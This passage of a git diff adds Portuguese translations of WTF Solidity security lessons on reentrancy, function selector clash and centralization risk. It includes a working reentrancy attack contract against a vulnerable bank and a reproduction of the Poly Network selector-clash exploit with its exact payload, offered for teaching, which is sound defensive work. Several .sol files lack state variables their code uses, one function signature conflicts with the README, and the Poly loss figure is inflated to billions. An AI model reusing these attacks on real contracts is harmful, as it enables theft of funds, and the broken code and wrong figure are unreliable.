[Código](https://github.com/WTFAcademy/WTF-Solidity-Internals/blob/master/src/06_AbiDynamic.sol) | [Artigo](https://github.com/WTFAcademy/WTF-Solidity-Internals/blob/master/tutorials/06_AbiDynamic/readme.md) + +**SI07: Fórmula de Codificação ABI**: [Código](https://github.com/WTFAcademy/WTF-Solidity-Internals/blob/master/src/07_AbiFormula.sol) | [Artigo](https://github.com/WTFAcademy/WTF-Solidity-Internals/blob/master/tutorials/07_AbiFormula/readme.md) + +**SI08: Codificação ABI de calldata/returndata**: [Código](https://github.com/WTFAcademy/WTF-Solidity-Internals/blob/master/src/08_AbiCalldata.sol) | [Artigo](https://github.com/WTFAcademy/WTF-Solidity-Internals/blob/master/tutorials/08_AbiCalldata/readme.md) + +**SI09: Codificação ABI de Eventos**: [Código](https://github.com/WTFAcademy/WTF-Solidity-Internals/blob/master/src/09_AbiEvent.sol) | [Artigo](https://github.com/WTFAcademy/WTF-Solidity-Internals/blob/master/tutorials/09_AbiEvent/readme.md) + +**SI10: Codificação ABI de Erros**: [Código](https://github.com/WTFAcademy/WTF-Solidity-Internals/blob/master/src/10_AbiError.sol) | [Artigo](https://github.com/WTFAcademy/WTF-Solidity-Internals/blob/master/tutorials/10_AbiError/readme.md) + +## Tópicos + +### Ferramentas de Desenvolvimento + +**Aula 1: Remix, o IDE de Solidity Mais Fácil de Usar**: [Código](./Topics/Tools/TOOL01_Remix) | [Artigo](https://mirror.xyz/wtfacademy.eth/dSYXG9zF_Vclw58Bgcvsv6HSA0SU6pmBoYLFwLAgVbU) + +**Aula 2: Infura, a Ponte Entre o Off-chain e o On-chain**: [Artigo](./Topics/Tools/TOOL02_Infura/readme.md) + +**Aula 3: Ganache, Configurando uma Rede de Teste Local**: [Artigo](./Topics/Tools/TOOL03_Ganache/readme.md) + +**Aula 4: Alchemy, Infraestrutura de API e Nó de Blockchain**: [Artigo](./Topics/Tools/TOOL04_Alchemy/readme.md) + +**Aula 5: Dune, Visualizando Dados da Blockchain com Dune**: [Artigo](./Topics/Tools/TOOL05_Dune/readme.md) + +**Aula 6: Hardhat, Ambiente de Desenvolvimento Ethereum**: [Artigo](./Topics/Tools/TOOL06_Hardhat/readme.md) + +**Aula 7: Foundry, Kit de Ferramentas de Desenvolvimento Centrado em Solidity**: [Código](./Topics/Tools/TOOL07_Foundry) | [Artigo](./Topics/Tools/TOOL07_Foundry/readme.md) + +### Análise de Ameaças On-chain + +**Aula 1: Ferramentas**: [Artigo](./Topics/Onchain_debug//01_tools/) | [Inglês](./Topics/Onchain_debug/01_tools/en/) + +**Aula 2: Aquecimento**: [Artigo](./Topics/Onchain_debug/02_warmup/) | [Inglês](./Topics/Onchain_debug/02_warmup/en/) + +**Aula 3: Prova de Conceito de Vulnerabilidades - Parte 1**: [Artigo](./Topics/Onchain_debug/03_write_your_own_poc/) | [Inglês](./Topics/Onchain_debug/03_write_your_own_poc/en/) + +**Aula 4: Prova de Conceito de Vulnerabilidades - Parte 2**: [Artigo](./Topics/Onchain_debug/04_write_your_own_poc/) | [Inglês](./Topics/Onchain_debug/04_write_your_own_poc/en/) + +**Aula 5: Prova de Conceito de Vulnerabilidades - Parte 3**: [Artigo](./Topics/Onchain_debug/05_write_your_own_poc/) | [Inglês](./Topics/Onchain_debug/05_write_your_own_poc/en/) + +**Aula 6: Análise de Rugpull**: [Artigo](./Topics/Onchain_debug/06_Rugpull/) | [Inglês](./Topics/Onchain_debug/06_Rugpull/en/) + +**Aula 7: Análise do Evento da Ponte Nomad**: [Artigo](./Topics/Onchain_debug/07_analysis_bridge/) | [Inglês](./Topics/Onchain_debug/07_analysis_bridge/en/) + +### NFT + +**Aula 1: Bibliotecas ERC721: Address, Strings, Context**: [Código](./Topics/ERC721) | [Artigo](https://mirror.xyz/wtfacademy.eth/PAsIFLAmEoMufZsXlX0NWsVF8DHpHz3OrYlooosy9Ho) + +**Aula 2: Interfaces Relacionadas ao ERC721**: [Código](./Topics/ERC721) | [Artigo](https://mirror.xyz/wtfacademy.eth/4mPkMgHViRjx8OM7TAI-M-2oMfRle36ULzqlpC6S7IQ) + +**Aula 3: Contrato Principal ERC721**: [Código](./Topics/ERC721/ERC721.sol) | [Artigo](https://mirror.xyz/wtfacademy.eth/-evZa3S--yw9vVcXfhn9I3UiNRaqWOTLG0eZFFgbcT0) + +**Aula 4: Contrato Principal BAYC e Vulnerabilidade Grave**: [Código](./Topics/ERC721/BAYC.sol) | [Artigo](https://mirror.xyz/wtfacademy.eth/_buBOQflWtHDpLbg18Fp8zLe8AmLiPka2y-UhppK_u0) + +**Aula 5: Loot**: [Código](./Topics/ERC721/5_Loot/Loot.sol) | [Artigo](https://mirror.xyz/wtfacademy.eth/-Bc_vjP9EX-wg6chtUFAz0zm5v-jaIekMlOlqHJ_IhE) + +### Traduções + +**Aula 1: 16 Sugestões de Segurança da Metamask para Programadores Solidity**: [Artigo](./Topics/Translation/Consensys2020) + +**Aula 2: Mergulhando no EVM**: [Artigo](./Topics/Translation/DiveEVM2017) + +## Contribuidores do WTF + +
+

+ Os contribuidores são a base da Academia WTF +

+ + + +
+ +## Doações + +- [Gitcoin](https://gitcoin.co/grants/6090/wtf-solidity) +- [Mirror](https://mirror.xyz/wtfacademy.eth/WfM30QbSWB2_-9t98g05unTmb_2ZXucOAZMPDa7MX48) + +## Referências +- [Documentação Oficial do Solidity](https://docs.soliditylang.org/en/v0.8.17/) +- [Solidity Por Exemplo](https://solidity-by-example.org/) +- [Contratos OpenZeppelin](https://github.com/OpenZeppelin/openzeppelin-contracts) +- [solmate](https://github.com/transmissions11/solmate) +- [Documentação Chainlink](https://docs.chain.link/) +- [Contratos Safe](https://github.com/safe-global/safe-contracts) +- [DeFi Hack Labs](https://github.com/SunWeb3Sec/DeFiHackLabs) +- [rekt news](https://rekt.news/) + diff --git a/Languages/pt-br/S01_ReentrancyAttack/ReentrancyAttack.sol b/Languages/pt-br/S01_ReentrancyAttack/ReentrancyAttack.sol new file mode 100644 index 000000000..8212a2ca4 --- /dev/null +++ b/Languages/pt-br/S01_ReentrancyAttack/ReentrancyAttack.sol @@ -0,0 +1,118 @@ +// SPDX-License-Identifier: MIT +// por 0xAA +pragma solidity ^0.8.21; + +contract Bank { + // Mapeamento de saldo + + // Depositar ether e atualizar o saldo + function deposit() external payable { + balanceOf[msg.sender] += msg.value; + } + + // Extrair todos os ether do msg.sender + function withdraw() external { + // Obter saldo + uint256 balance = balanceOf[msg.sender]; + require(balance > 0, "Insufficient balance"); + // Transferir ether !!! Pode ativar a função fallback/receive de um contrato malicioso, há risco de reentrância! + (bool success, ) = msg.sender.call{value: balance}(""); + require(success, "Failed to send Ether"); + // Atualizar saldo + balanceOf[msg.sender] = 0; + } + + // Obter o saldo do contrato bancário + function getBalance() external view returns (uint256) { + return address(this).balance; + } +} + +contract Attack { + // Endereço do contrato Bank + + // Inicializando o endereço do contrato Bank + constructor(Bank _bank) { + bank = _bank; + } + + // Função de callback para realizar um ataque de reentrada no contrato Bank, chamando repetidamente a função withdraw do alvo. + receive() external payable { + if (address(bank).balance >= 1 ether) { + bank.withdraw(); + } + } + + // Função de ataque, chame com msg.value definido como 1 ether + function attack() external payable { + require(msg.value == 1 ether, "Require 1 Ether to attack"); + bank.deposit{value: 1 ether}(); + bank.withdraw(); + } + + // Obter o saldo deste contrato + function getBalance() external view returns (uint256) { + return address(this).balance; + } +} + +// Usando o modo de verificação-efeito-interação (checks-effect-interaction) para prevenir ataques de reentrada +contract GoodBank { + mapping (address => uint256) public balanceOf; + + function deposit() external payable { + balanceOf[msg.sender] += msg.value; + } + + function withdraw() external { + uint256 balance = balanceOf[msg.sender]; + require(balance > 0, "Insufficient balance"); + // Verificar o modo de interação de efeitos (checks-effect-interaction): atualizar primeiro a alteração do saldo e, em seguida, enviar ETH. + // Quando ocorre um ataque de reentrada, balanceOf[msg.sender] já foi atualizado para 0, não passando pela verificação acima. + balanceOf[msg.sender] = 0; + (bool success, ) = msg.sender.call{value: balance}(""); + require(success, "Failed to send Ether"); + } + + function getBalance() external view returns (uint256) { + return address(this).balance; + } +} + +// Usando um bloqueio de reentrada para evitar ataques de reentrada +contract ProtectedBank { + mapping (address => uint256) public balanceOf; + // Lock Reentrante + + // Lock Reentrante + modifier nonReentrant() { + // Quando nonReentrant é chamado pela primeira vez, _status será 0 + require(_status == 0, "ReentrancyGuard: reentrant call"); + // Após isso, qualquer chamada a nonReentrant falhará + _status = 1; + _; + // Chamada concluída, restaurando _status para 0 + _status = 0; + } + + + function deposit() external payable { + balanceOf[msg.sender] += msg.value; + } + + // Usando um lock de reentrada para proteger uma função com vulnerabilidades + function withdraw() external nonReentrant{ + uint256 balance = balanceOf[msg.sender]; + require(balance > 0, "Insufficient balance"); + + (bool success, ) = msg.sender.call{value: balance}(""); + require(success, "Failed to send Ether"); + + balanceOf[msg.sender] = 0; + } + + function getBalance() external view returns (uint256) { + return address(this).balance; + } +} + diff --git a/Languages/pt-br/S01_ReentrancyAttack/img/S01-1.png b/Languages/pt-br/S01_ReentrancyAttack/img/S01-1.png new file mode 100644 index 000000000..c86a9e957 Binary files /dev/null and b/Languages/pt-br/S01_ReentrancyAttack/img/S01-1.png differ diff --git a/Languages/pt-br/S01_ReentrancyAttack/readme.md b/Languages/pt-br/S01_ReentrancyAttack/readme.md new file mode 100644 index 000000000..72e8165f4 --- /dev/null +++ b/Languages/pt-br/S01_ReentrancyAttack/readme.md @@ -0,0 +1,202 @@ +# WTF Solidity: S01. Ataque de Reentrada + +Eu recentemente tenho reestudado Solidity para consolidar alguns detalhes e também escrever um guia "WTF Solidity Simplificado" para iniciantes (programadores experientes podem procurar outros tutoriais), com atualização semanal de 1 a 3 episódios. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk) | [Grupo do WhatsApp](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) | [Site oficial wtf.academy](https://wtf.academy) + +Todo o código e tutoriais estão disponíveis no GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +Nesta lição, iremos abordar um dos ataques mais comuns em contratos inteligentes, o ataque de reentrada, que causou o famoso fork no Ethereum, resultando em ETH e ETC (Ethereum Classic), e como evitar esse tipo de ataque. + +## Ataque de Reentrada + +O ataque de reentrada é um dos ataques mais comuns em contratos inteligentes, no qual um invasor aproveita uma vulnerabilidade no contrato (por exemplo, na função fallback) para chamar repetidamente o contrato, transferindo ativos ou gerando uma grande quantidade de tokens. + +Alguns eventos famosos de ataque de reentrada: + +- Em 2016, o contrato The DAO foi alvo de um ataque de reentrada, resultando no roubo de 3.600.000 ETH e no fork do Ethereum, dividindo-se em ETH e ETC. +- Em 2019, a plataforma de ativos sintéticos Synthetix sofreu um ataque de reentrada, resultando no roubo de 3.700.000 sETH. +- Em 2020, a plataforma de empréstimos Lendf.me foi vítima de um ataque de reentrada, resultando no roubo de $25.000.000. +- Em 2021, a plataforma de empréstimos CREAM FINANCE sofreu um ataque de reentrada, resultando no roubo de $18.800.000. +- Em 2022, o projeto de algoritmo stablecoin Fei foi alvo de um ataque de reentrada, resultando no roubo de $80.000.000. + +Mesmo após 6 anos desde o ataque ao The DAO, ainda há projetos que perdem milhões de dólares devido a vulnerabilidades de reentrada, por isso é fundamental entender essa vulnerabilidade. + +## História do Hack 0xAA + +Para facilitar o entendimento, vou contar a história do "hacker 0xAA rouba um banco". + +Os caixas eletrônicos do banco Ethereum são controlados por robôs (Robots) por meio de contratos inteligentes. Quando um usuário comum (Usuário) vai ao banco para sacar dinheiro, o processo de serviço é o seguinte: + +1. Verificar o saldo do usuário em ETH e, se for superior a 0, passar para o próximo passo. +2. Transferir o saldo em ETH do usuário para ele e perguntar se ele recebeu o dinheiro. +3. Atualizar o saldo do usuário para 0. + +Um dia, o hacker 0xAA entrou no banco. Aqui está a conversa entre ele e o caixa automatizado: + +- 0xAA: Quero sacar 1 ETH. +- Robot: Verificando seu saldo: 1 ETH. Transferindo 1 ETH para sua conta. Você recebeu o dinheiro? +- 0xAA: Espere, quero sacar mais 1 ETH. +- Robot: Verificando seu saldo: 1 ETH. Transferindo 1 ETH para sua conta. Você recebeu o dinheiro? +- 0xAA: Espere, quero sacar mais 1 ETH. +- Robot: Verificando seu saldo: 1 ETH. Transferindo 1 ETH para sua conta. Você recebeu o dinheiro? +- 0xAA: E assim por diante. + +No final, o 0xAA, através de uma vulnerabilidade de reentrada, esvaziou os ativos do banco e o banco ficou sem recursos. + +## Exemplo de Contrato Vulnerável + +### Contrato do Banco + +O contrato do banco é muito simples, contendo uma variável de estado `balanceOf` para armazenar o saldo de todos os usuários em ETH, e possui as seguintes funções: + +- `deposit()`: função de depósito que permite aos usuários depositarem ETH no contrato do banco e atualiza o saldo do usuário. +- `withdraw()`: função de saque que transfere o saldo do usuário de volta para ele. Esta função é onde a vulnerabilidade de reentrada está presente! +- `getBalance()`: função para obter o saldo de ETH no contrato do banco. + +```solidity +contract Bank { + mapping(address => uint256) public balanceOf; // Mapeamento de balanços + + // Depositar ETH e atualizar o balanço + function deposit() external payable { + balanceOf[msg.sender] += msg.value; + } + + // Retirar todo o ETH do msg.sender + function withdraw() external { + uint256 balance = balanceOf[msg.sender]; // Obter o balanço + require(balance > 0, "Saldo insuficiente"); + // Transferir o ETH !!! Pode ativar o fallback/receive de contratos maliciosos, com risco de reentrada! + (bool success, ) = msg.sender.call{value: balance}(""); + require(success, "Falha ao enviar Ether"); + // Atualizar o balanço + balanceOf[msg.sender] = 0; + } + + // Obter o saldo de ETH no contrato do banco + function getBalance() external view returns (uint256) { + return address(this).balance; + } +} +``` + +### Contrato de Ataque + +A principal vulnerabilidade do ataque de reentrada acontece quando o contrato transfere ETH para outro contrato. O endereço de destino das transferências de ETH pode ser um contrato que irá acionar a função fallback() ou receive() desse contrato. Se o hacker implementar a função fallback ou receive para chamar repetidamente a função withdraw() do contrato Bank, ocorrerá a reentrada. No exemplo abaixo, o fallback do contrato de ataque chama repetidamente a função withdraw() do contrato Bank. + +```solidity + receive() external payable { + bank.withdraw(); + } +``` + +No contrato de ataque abaixo, a lógica é simples: por meio da função receive(), será feita uma chamada repetida à função withdraw() do contrato Bank. O contrato contém uma variável de estado `bank` para armazenar o endereço do contrato Bank e possui as seguintes funções: + +- Construtor: inicializa o endereço do contrato Bank. +- `receive()`: função fallback que é acionada ao receber ETH e chama repetidamente a função `withdraw()` do contrato Bank, provocando a reentrada. +- `attack()`: função de ataque que primeiro deposita ETH no contrato Bank usando a função `deposit()`, em seguida chama a função `withdraw()` do contrato Bank iniciando o ataque de reentrada. +- `getBalance()`: função para obter o saldo de ETH no contrato de ataque. + +```solidity +contract Attack { + Bank public bank; // Endereço do contrato Bank + + // Inicializar o endereço do contrato Bank + constructor(Bank _bank) { + bank = _bank; + } + + // Função fallback para realizar o ataque de reentrada + receive() external payable { + if (bank.getBalance() >= 1 ether) { + bank.withdraw(); + } + } + + // Função de ataque + function attack() external payable { + require(msg.value == 1 ether, "É necessário 1 Ether para o ataque"); + bank.deposit{value: 1 ether}(); + bank.withdraw(); + } + + // Obter o balanço do contrato de ataque + function getBalance() external view returns (uint256) { + return address(this).balance; + } +} +``` + +## Demonstração no Remix + +1. Implante o contrato Banco (Bank) e chame a função `deposit()`, transferindo 20 ETH. +2. Mude para a wallet do invasor, implante o contrato de Ataque (Attack). +3. Chame a função `attack()` do contrato de ataque para iniciar o ataque, lembrando de enviar 1 ETH. +4. Chame a função `getBalance()` do contrato Bank para ver o saldo zerado. +5. Chame a função `getBalance()` do contrato de ataque para ver o saldo alterado para 21 ETH, indicando o sucesso do ataque de reentrada. + +## Medidas Preventivas + +Atualmente, existem duas maneiras principais de prevenir possíveis ataques de reentrada: o padrão checks-effects-interactions e o uso de trava de reentrada. + +### Padrão Checks-Effects-Interactions + +O padrão checks-effects-interactions enfatiza que, ao escrever funções em contratos, é importante verificar primeiro se as variáveis de estado estão em conformidade, depois atualizar essas variáveis (como saldo) e, por último, interagir com outros contratos. Modificando a função `withdraw()` no contrato Bank para atualizar o saldo antes de transferir o ETH, podemos corrigir a vulnerabilidade: + +```solidity +function withdraw() external { + uint256 balance = balanceOf[msg.sender]; + require(balance > 0, "Saldo insuficiente"); + // Padrão checks-effects-interactions: atualizar o saldo antes de enviar o ETH + // Durante um ataque de reentrada, balanceOf[msg.sender] já foi atualizado para 0 e não passará na verificação acima. + balanceOf[msg.sender] = 0; + (bool success, ) = msg.sender.call{value: balance}(""); + require(success, "Falha ao enviar Ether"); +} +``` + +### Trava de Reentrada + +A trava de reentrada é um modificador que previne a execução de funções de reentrada. Ela contém uma variável de estado `_status` que é inicializada como `0`. Quando uma função é marcada com o modificador `nonReentrant`, ela verifica se `_status` é `0` na primeira chamada, em seguida, muda o valor de `_status` para `1`, e somente depois de finalizar a chamada é que `_status` é revertido para `0`. Com isso, se o contrato de ataque tentar reentrar antes de a chamada anterior ter sido concluída, é gerado um erro. + +```solidity +uint256 private _status; // Trava de reentrada + +// Modificador para prevenir reentrância +modifier nonReentrant() { + // Na primeira chamada do nonReentrant, _status será 0 + require(_status == 0, "ReentrancyGuard: chamada de reentrada"); + // Qualquer chamada subsequente a nonReentrant vai falhar + _status = 1; + _; + // Após a chamada, restaurar _status para 0 + _status = 0; +} +``` + +A função `withdraw()` marcada com o modificador `nonReentrant` previne ataques de reentrada. + +```solidity +// Proteger funções vulneráveis com a trava de reentrada +function withdraw() external nonReentrant { + uint256 balance = balanceOf[msg.sender]; + require(balance > 0, "Saldo insuficiente"); + + (bool success, ) = msg.sender.call{value: balance}(""); + require(success, "Falha ao enviar Ether"); + + balanceOf[msg.sender] = 0; +} +``` + +Também é recomendado seguir o padrão de Pagamentos por Solicitação do OpenZeppelin para evitar possíveis ataques de reentrada. Esse padrão divide a transferência de ativos em duas etapas: "iniciar a transferência" e "concluir a transferência". Quando uma transferência precisa ser feita, o valor a ser transferido é armazenado em um contrato terceirizado (escrow) por meio da função `_asyncTransfer(address dest, uint256 amount)`, evitando assim perdas por reentrada. E quando o destinatário deseja receber os ativos ele deve chamar ativamente a função `withdrawPayments(address payable payee)` para solicitar os ativos. + +## Conclusão + +Nesta lição, exploramos um dos ataques mais comuns no Ethereum - o ataque de reentrada. Contei a história do "hack 0xAA roubando um banco" para facilitar a compreensão e também introduzi duas maneiras de prevenir o ataque: o padrão checks-effects-interactions e a trava de reentrada. No exemplo, o hacker aproveitou a função fallback para atacar o contrato. Recomendo para iniciantes proteger todas as funções `external` que podem alterar o estado do contrato com a trava de reentrada, mesmo que isso possa consumir mais `gas`, é uma prevenção eficaz contra perdas maiores. + diff --git a/Languages/pt-br/S02_SelectorClash/SelectorClash.sol b/Languages/pt-br/S02_SelectorClash/SelectorClash.sol new file mode 100644 index 000000000..0f911623d --- /dev/null +++ b/Languages/pt-br/S02_SelectorClash/SelectorClash.sol @@ -0,0 +1,24 @@ +// SPDX-License-Identifier: MIT +// por 0xAA +pragma solidity ^0.8.21; + +contract SelectorClash { + // O ataque foi bem-sucedido + + function putCurEpochConPubKeyBytes(bytes memory _bytes) public { + require(msg.sender == address(this), "Not Owner"); + solved = true; + } + + function executeCrossChainTx(bytes memory _method, bytes memory _bytes) public returns(bool success){ + (success, ) = address(this).call(abi.encodePacked(bytes4(keccak256(abi.encodePacked(_method, "(bytes,bytes,uint64)"))), abi.encode(_bytes))); + } + + function secretSlector() external pure returns(bytes4){ + return bytes4(keccak256("putCurEpochConPubKeyBytes(bytes)")); + } + + function hackSlector() external pure returns(bytes4){ + return bytes4(keccak256("f1121318093(bytes,bytes,uint64)")); + } +} \ No newline at end of file diff --git a/Languages/pt-br/S02_SelectorClash/img/S02-1.png b/Languages/pt-br/S02_SelectorClash/img/S02-1.png new file mode 100644 index 000000000..6929c736c Binary files /dev/null and b/Languages/pt-br/S02_SelectorClash/img/S02-1.png differ diff --git a/Languages/pt-br/S02_SelectorClash/img/S02-2.png b/Languages/pt-br/S02_SelectorClash/img/S02-2.png new file mode 100644 index 000000000..ce6c63bb7 Binary files /dev/null and b/Languages/pt-br/S02_SelectorClash/img/S02-2.png differ diff --git a/Languages/pt-br/S02_SelectorClash/readme.md b/Languages/pt-br/S02_SelectorClash/readme.md new file mode 100644 index 000000000..8699c08bb --- /dev/null +++ b/Languages/pt-br/S02_SelectorClash/readme.md @@ -0,0 +1,90 @@ +# WTF Solidity Security: S02. Colisão de Seletores + +Recentemente, tenho revisitado meus estudos em Solidity para consolidar alguns detalhes e estou escrevendo um "WTF Solidity Introdução Simples" para ajudar os iniciantes (os mestres da programação podem buscar outros tutoriais). Atualizo de 1 a 3 lições por semana. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk) | [Grupo no WhatsApp](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) | [Site oficial wtf.academy](https://wtf.academy) + +Todo o código e tutoriais estão disponíveis no Github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +Nesta lição, vamos falar sobre colisão de seletores, que foi uma das razões pelas quais a rede de pontes cross-chain Poly Network foi hackeada. Em agosto de 2021, contratos de pontes cross-chain da Poly Network nas redes ETH, BSC e Polygon foram hackeados, resultando em um prejuízo de até US$6,11 bilhões ([resumo](https://rekt.news/en/polynetwork-rekt/)). Este foi o maior hack da indústria blockchain em 2021 e o segundo maior da história, ficando atrás apenas do hack da ponte Ronin. + +## Colisão de Seletores + +Nos contratos inteligentes Ethereum, o seletor de funções é simplesmente os primeiros `4` bytes do valor hash da assinatura da função `"()"` (em hexadecimal). Quando um usuário chama uma função em um contrato, os primeiros `4` bytes dos dados de chamada (`calldata`) representam o seletor da função, determinando qual função está sendo chamada. Se não estiver familiarizado com isso, você pode ler a [Liçao 29: Seletor de Funções](../29_Selector/readme_pt-br.md) do WTF Solidity. + +Devido ao fato de os seletores de funções serem de apenas `4` bytes, é muito fácil colidir com eles: ou seja, é possível encontrar duas funções diferentes que compartilham o mesmo seletor. Por exemplo, as funções `transferFrom(address,address,uint256)` e `gasprice_bit_ether(int128)` apresentam o mesmo seletor: `0x23b872dd`. Você também pode escrever um script para forçar essa colisão. + +![](./img/S02-1.png) + +Você pode usar os seguintes sites para procurar funções diferentes que compartilham o mesmo seletor: + +1. https://www.4byte.directory/ +2. https://sig.eth.samczsun.com/ + +Você também pode usar a ferramenta `Power Clash` para forçar essa colisão: + +1. PowerClash: https://github.com/AmazingAng/power-clash + +Em comparação, a probabilidade de colisão ao gerar chaves públicas de carteira, que possuem `64` bytes, é praticamente nula e muito mais segura. + +## Resolvendo o Enigma da Esfinge com `0xAA` + +Os habitantes do Ethereum desafiaram os deuses e enfureceram-os. A deusa Hera, para punir os habitantes do Ethereum, enviou a eles um ser misterioso chamado Esfinge, metade mulher, metade leão, com um enigma difícil. A Esfinge apresentava um enigma a cada viajante que passava: “O que tem quatro patas de manhã, duas ao meio-dia e três à noite, sendo o único ser vivo que utiliza diferentes quantidades de patas para andar. Quando tem mais patas, é quando sua velocidade e força são menores.” Aqueles que resolvessem o enigma poderiam passar sem problemas, enquanto os que não conseguissem seriam devorados. Todos os viajantes foram devorados pela Esfinge, e o povo do Ethereum entrava em desespero. A Esfinge validava a resposta correta utilizando o seletor `0x10cd2dc7`. + +Em certa manhã, Édipo passou pelo local e, ao se deparar com a Esfinge, resolveu o enigma misterioso. Ele disse: “É a `function man()`! De manhã da vida, ele é uma criança que rasteja com quatro membros; ao meio-dia, torna-se um adulto e caminha com duas pernas; à noite, na velhice, ele usa uma bengala para caminhar, o que o faz ter três pernas.” Após desvendar o enigma, Édipo sobreviveu. + +Naquela tarde, `0xAA` atravessou o mesmo caminho e deparou-se com a Esfinge, resolvendo mais uma vez o enigma misterioso. Ele disse: “É a `function peopleLduohW(uint256)`! De manhã da vida, ele é uma criança que rasteja com quatro membros; ao meio-dia, torna-se um adulto e caminha com duas pernas; à noite, na velhice, ele usa uma bengala para caminhar, o que o faz ter três pernas.” Ao resolver o enigma novamente, a Esfinge ficou extremamente irritada, escorregou e caiu da alta falésia, perecendo. + +![](./img/S02-2.png) + +## Exemplo de Contrato Vulnerável + +### Contrato Vulnerável + +A seguir, veremos um exemplo de contrato vulnerável. O contrato `SelectorClash` possui uma variável de estado `solved`, que é inicializada como `false`, e o atacante deve alterá-la para `true`. O contrato possui principalmente duas funções, com os nomes inspirados nos contratos vulneráveis Poly Network. + +1. `putCurEpochConPubKeyBytes()`: O atacante deve chamar esta função para alterar o valor de `solved` para `true` e concluir o ataque. No entanto, esta função verifica se `msg.sender == address(this)`, o que significa que o chamador deve ser o próprio contrato. Precisamos verificar outras funções também. + +2. `executeCrossChainTx()`: Esta função permite chamar funções internas do contrato, mas os tipos de parâmetros não se encaixam perfeitamente: a função alvo tem parâmetros do tipo `(bytes)`, enquanto os parâmetros nesta função são `(bytes,bytes,uint64)`. + +```solidity +contract SelectorClash { + bool public solved; // Indica se o ataque foi bem-sucedido + + // O atacante deve chamar esta função, com o msg.sender sendo obrigatoriamente o próprio contrato. + function putCurEpochConPubKeyBytes(bytes memory _bytes) public { + require(msg.sender == address(this), "Not Owner"); + solved = true; + } + + // Vulnerável, o atacante pode alterar a variável _method para colidir com o seletor da função e concluir o ataque. + function executeCrossChainTx(bytes memory _method, bytes memory _bytes, bytes memory _bytes1, uint64 _num) public returns(bool success){ + (success, ) = address(this).call(abi.encodePacked(bytes4(keccak256(abi.encodePacked(_method, "(bytes,bytes,uint64)"))), abi.encode(_bytes, _bytes1, _num))); + } +} +``` + +### Método de Ataque + +Nosso objetivo é usar a função `executeCrossChainTx()` para chamar a função `putCurEpochConPubKeyBytes()` do contrato, cujo seletor da função é `0x41973cd9`. Observamos que o seletor é calculado neste contrato utilizando o parâmetro `_method` e `"(bytes,bytes,uint64)"`. Portanto, precisamos escolher o valor adequado para `_method`, de modo que o seletor calculado seja igual a `0x41973cd9`, realizando um ataque bem-sucedido por meio de colisão de seletores. + +No hack da Poly Network, o atacante gerou o `_method` `f1121318093`, que é o hash das primeiras `4` posições da função `f1121318093(bytes,bytes,uint64)`, resultando no mesmo seletor do alvo: `0x41973cd9`. Agora, o que precisamos fazer é converter `f1121318093` para o tipo `bytes`: `0x6631313231333138303933`, e então inseri-lo como parâmetro na função `executeCrossChainTx()`. Os outros `3` parâmetros podem ser preenchidos com `0x`, `0x` e `0`. + +## Demonstração no `Remix` + +1. Implante o contrato `SelectorClash`. +2. Chame `executeCrossChainTx()`, passando `0x6631313231333138303933`, `0x`, `0x`, `0`, para iniciar o ataque. +3. Verifique o valor da variável `solved`, que foi alterada para `true`, confirmando o sucesso do ataque. + +## Conclusão + +Nesta lição, discutimos a colisão de seletores de função, que foi uma das razões que levaram ao hack de US$6,1 bilhões da rede de pontes cross-chain Poly Network. Este ataque nos ensina: + +1. Os seletores de função podem ser facilmente colididos, ou seja, é possível construir funções diferentes com o mesmo seletor mesmo ao alterar os tipos de parâmetros. + +2. É essencial gerenciar adequadamente as permissões das funções do contrato, garantindo que funções de contratos com permissões especiais não possam ser chamadas por usuários. + diff --git a/Languages/pt-br/S03_Centralization/Centralization.sol b/Languages/pt-br/S03_Centralization/Centralization.sol new file mode 100644 index 000000000..5d99fc265 --- /dev/null +++ b/Languages/pt-br/S03_Centralization/Centralization.sol @@ -0,0 +1,16 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import "@openzeppelin/contracts/access/Ownable.sol"; + +contract Centralization is ERC20, Ownable { + constructor() ERC20("Centralization", "Cent") { + address exposedAccount = 0xe16C1623c1AA7D919cd2241d8b36d9E79C1Be2A2; + transferOwnership(exposedAccount); + } + + function mint(address to, uint256 amount) external onlyOwner{ + _mint(to, amount); + } +} \ No newline at end of file diff --git a/Languages/pt-br/S03_Centralization/img/S03-1.png b/Languages/pt-br/S03_Centralization/img/S03-1.png new file mode 100644 index 000000000..c2ff9bf1c Binary files /dev/null and b/Languages/pt-br/S03_Centralization/img/S03-1.png differ diff --git a/Languages/pt-br/S03_Centralization/readme.md b/Languages/pt-br/S03_Centralization/readme.md new file mode 100644 index 000000000..dbbdebbde --- /dev/null +++ b/Languages/pt-br/S03_Centralization/readme.md @@ -0,0 +1,69 @@ +# S03. Risco de centralização + +Recentemente, tenho estudado Solidity novamente para consolidar os detalhes e escrever um "WTF Solidity Guia Rápido" para iniciantes (os especialistas em programação podem procurar outros tutoriais), atualizando de 1 a 3 lições por semana. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy\_](https://twitter.com/WTFAcademy_) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk) | [Grupo do WhatsApp](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) | [Site oficial wtf.academy](https://wtf.academy) + +Todo o código e tutorial são de código aberto no github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +Nesta lição, vamos abordar os riscos de centralização e pseudo descentralização em contratos inteligentes. A ponte `Ronin` e a ponte `Harmony` foram hackeadas devido a essa vulnerabilidade, resultando no roubo de 624 milhões de dólares e 100 milhões de dólares, respectivamente. + +## Risco de Centralização + +Muitas vezes nos orgulhamos da descentralização do Web3, acreditando que, no mundo do Web3.0, a propriedade e o controle são descentralizados. No entanto, a 